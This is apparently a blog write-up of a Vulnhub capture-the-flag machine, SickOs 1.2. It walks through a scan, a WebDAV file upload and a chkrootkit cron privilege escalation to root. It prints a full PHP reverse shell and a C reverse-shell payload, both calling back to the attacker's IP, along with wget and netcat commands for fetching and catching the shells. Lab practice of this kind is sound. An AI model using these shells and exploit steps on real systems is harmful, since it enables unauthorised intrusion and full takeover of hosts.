Today’s Vulnhub machine will be “Sick OS”.

For those who are just joining us, Vulnhub provides intentionally-vulnerable virtual machines to help anyone gain practical hands-on experience in information security and network administration. It’s great practice for working on penetrating vulnerable hosts.

Let’s get started!

Recon

The first thing I try is nmap:

root@kali:~# nmap 192.168.128.134
Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-21 20:06 CDT
Nmap scan report for 192.168.128.134
Host is up (0.00053s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:56:EC:09 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 30.96 seconds

I browse to the open webserver port, but it only contains a meme image. Dead end, so I run dirb against the host to try to shake loose any directories.

root@kali:~# dirb http://192.168.128.134/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Thu Sep 21 20:14:06 2017
URL_BASE: http://192.168.128.134/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.128.134/ ----
+ http://192.168.128.134/index.php (CODE:200|SIZE:163)                                                                                     
==> DIRECTORY: http://192.168.128.134/test/                                                                                                
                                                                                                                                           
---- Entering directory: http://192.168.128.134/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Thu Sep 21 20:14:13 2017
DOWNLOADED: 4612 - FOUND: 1

The /test/ directory is indexed, but it’s empty. What will curl reveal?

root@kali:~# curl -X OPTIONS -iv http://192.168.128.134/test/
*   Trying 192.168.128.134...
* TCP_NODELAY set
* Connected to 192.168.128.134 (192.168.128.134) port 80 (#0)
> OPTIONS /test/ HTTP/1.1
> Host: 192.168.128.134
> User-Agent: curl/7.55.1
> Accept: */*
> 
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< DAV: 1,2
DAV: 1,2
< MS-Author-Via: DAV
MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Allow: OPTIONS, GET, HEAD, POST
Allow: OPTIONS, GET, HEAD, POST
< Content-Length: 0
Content-Length: 0
< Date: Mon, 19 Sep 2017 19:09:00 GMT
Date: Mon, 19 Sep 2017 19:09:00 GMT
< Server: lighttpd/1.4.28
Server: lighttpd/1.4.28

< 
* Connection #0 to host 192.168.128.134 left intact

Nice! The host will allow us to upload files. Time to upload a shell.

Gaining a foothold

With the ability to upload files to the webserver it will be trivial to get a shell. I use curl’s “upload file” ability to put my shell on the host:

root@kali:~# curl -vi --upload-file php-reverse-shell.php --url http://192.168.128.134/test/rshell.php -0 --http1.0
*   Trying 192.168.128.134...
* TCP_NODELAY set
* Connected to 192.168.128.134 (192.168.128.134) port 80 (#0)
> PUT /test/rshell.php HTTP/1.0
> Host: 192.168.128.134
> User-Agent: curl/7.55.1
> Accept: */*
> Content-Length: 5497
> 
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
HTTP/1.0 201 Created
< Content-Length: 0
Content-Length: 0
< Connection: close
Connection: close
< Date: Tue, 19 Sep 2017 19:14:08 GMT
Date: Tue, 19 Sep 2017 19:14:08 GMT
< Server: lighttpd/1.4.28
Server: lighttpd/1.4.28

< 
* Closing connection 0

For clarity here is the code I am uploading:

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.128.130';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

Source: In Kali under /usr/share/webshells/php/

I tried a couple different ports but 443 seemed to be the only outbound port allowed.

I next set up a netcat listener:

root@kali:~# nc -v -lp 443
listening on [any] 443 ...

Trigger the php shell:

root@kali:~# curl -vi http://192.168.128.134/test/rshell.php*   Trying 192.168.128.134...
* TCP_NODELAY set
* Connected to 192.168.128.134 (192.168.128.134) port 80 (#0)
> GET /test/rshell.php HTTP/1.1
> Host: 192.168.128.134
> User-Agent: curl/7.55.1
> Accept: */*
> 


And catch my shell:

root@kali:~# nc -v -lp 443
listening on [any] 443 ...
192.168.128.134: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.134] 59546
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
 12:23:13 up  1:13,  0 users,  load average: 0.16, 0.14, 0.14
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$

Perfect. We have a low-privilege shell as www-data. Now to get to root!

Privilege Escalation

As part of standard enumeration, I check for cron jobs.

In cron.daily I find something interesting:

www-data@ubuntu:/$ ls -l /etc/cron.daily
ls -l /etc/cron.daily
total 60
-rwxr-xr-x 1 root root 15399 Nov 15  2013 apt
-rwxr-xr-x 1 root root   314 Apr 18  2013 aptitude
-rwxr-xr-x 1 root root   502 Mar 31  2012 bsdmainutils
-rwxr-xr-x 1 root root  2032 Jun  4  2014 chkrootkit
-rwxr-xr-x 1 root root   256 Oct 14  2013 dpkg
-rwxr-xr-x 1 root root   338 Dec 20  2011 lighttpd
-rwxr-xr-x 1 root root   372 Oct  4  2011 logrotate
-rwxr-xr-x 1 root root  1365 Dec 28  2012 man-db
-rwxr-xr-x 1 root root   606 Aug 17  2011 mlocate
-rwxr-xr-x 1 root root   249 Sep 12  2012 passwd
-rwxr-xr-x 1 root root  2417 Jul  1  2011 popularity-contest
-rwxr-xr-x 1 root root  2947 Jun 19  2012 standard

See that? There is a job for chkrootkit. There is a public exploit for chkrootkit, but what version do we have?

www-data@ubuntu:/$ dpkg -l chkrootkit
dpkg -l chkrootkit
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
rc  chkrootkit     0.49-4ubuntu1. rootkit detector

Great! The host is running the vulnerable version. Now to exploit it.

The vulnerability

This one is actually pretty cool. Let’s look at the author’s description:

The vulnerability is located in the function slapper() in the
shellscript chkrootkit:

#
# SLAPPER.{A,B,C,D} and the multi-platform variant
#
slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}


The line 'file_port=$file_port $i' will execute all files specified in
$SLAPPER_FILES as the user chkrootkit is running (usually root), if
$file_port is empty, because of missing quotation marks around the
variable assignment.

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

If an attacker knows you are periodically running chkrootkit (like in
cron.daily) and has write access to /tmp (not mounted noexec), he may
easily take advantage of this.

It doesn’t get much easier than that, folks.

So if we put a payload at /tmp/update, chkrootkit will run it. But why?

Why the exploit works

Because there are no quotation marks around the variables, and because the file_port is empty, the shell interprets the assigment as:

file_port=$file_port $i

As:

file_port= /path/to/my/binary

It expands the variable, and runs the binary. See for example:

root@kali:~# my_var=
root@kali:~# i='/usr/bin/id'
root@kali:~# my_var=$myvar $i
uid=0(root) gid=0(root) groups=0(root)

What the author should have done was use quotation marks so the variable wouldn’t be run, see:

root@kali:~# my_var=
root@kali:~# i='/usr/bin/id'
root@kali:~# my_var="$myvar $i"
root@kali:~# echo $my_var
/usr/bin/id

An easy mistake to make! Now let’s exploit it.

Exploitation

I create a reverse shell payload:

#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>

/* "Listening" host & port to send shell */
#define lhost "192.168.128.130"
#define lport 443

int main(int argc, char argv[])
{
	struct sockaddr_in sa;
	sa.sin_family = AF_INET;
	sa.sin_addr.s_addr = inet_addr(lhost);
	sa.sin_port = htons(lport);

	int s;
	s = socket(AF_INET, SOCK_STREAM, 0);
	connect(s, (struct sockaddr *)&sa, sizeof(sa));

	dup2(s, 0);
	dup2(s, 1);
	dup2(s, 2);

	execve("/bin/sh", 0, 0);

	return 0;
}

Compile it:

root@kali:~# gcc -o reverse-shell reverse-shell.c
root@kali:~# ls -l
total 12
-rwxr-xr-x 1 root root 7448 Sep 20 13:30 reverse-shell
-rw-r--r-- 1 root root  536 Sep 20 13:29 reverse-shell.c

Then I start up a Python HTTP server:

root@kali:~# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

And use wget on the victim machine to download my evil binary:

www-data@ubuntu:/$ wget -O /tmp/payload http://192.168.128.130:443/reverse-shell
</tmp/payload http://192.168.128.130:443/reverse-she                      ll 
--2017-09-21 11:36:14--  http://192.168.128.130:443/reverse-shell
Connecting to 192.168.128.130:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7448 (7.3K) [application/octet-stream]
Saving to: `/tmp/payload'

 0% [                                       ] 0           --.-K/s         
100%[======================================>] 7,448       --.-K/s   in 0s      

2017-09-21 11:36:14 (417 MB/s) - `/tmp/payload' saved [7448/7448]


Now, the next time the cron job runs, we should receive our shell.

I set up a netcat listener and wait. After a few minutes, we get the connection:

root@kali:~# nc -v -lp 443
listening on [any] 443 ...
192.168.128.134: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.134] 59552

id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty; pty.spawn("/bin/bash");'
root@ubuntu:/root# ls -l
ls -l
total 52
-rw-r--r-- 1 root root 39421 Apr  9  2015 304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz
-r-------- 1 root root   491 Apr 26  2016 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
drwxr-xr-x 2 john john  4096 Apr 12  2016 chkrootkit-0.49
-rw-r--r-- 1 root root   541 Apr 25  2016 newRule
root@ubuntu:/root# cat *.txt
cat *.txt

WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.

Thanks for giving this try.

@vulnhub: Thanks for hosting this UP!.
root@ubuntu:/root# 

Final thoughts

Very fun box! I’ve definitely had trouble with egress filtering and tools blocked on other machines, so this was great practice.

There are other iterations of Sick OS that I hope to take on in the future, too. Stay tuned for more of these write-ups as I love doing these challenges and hope you enjoy reading about them.

Until next time,

EOF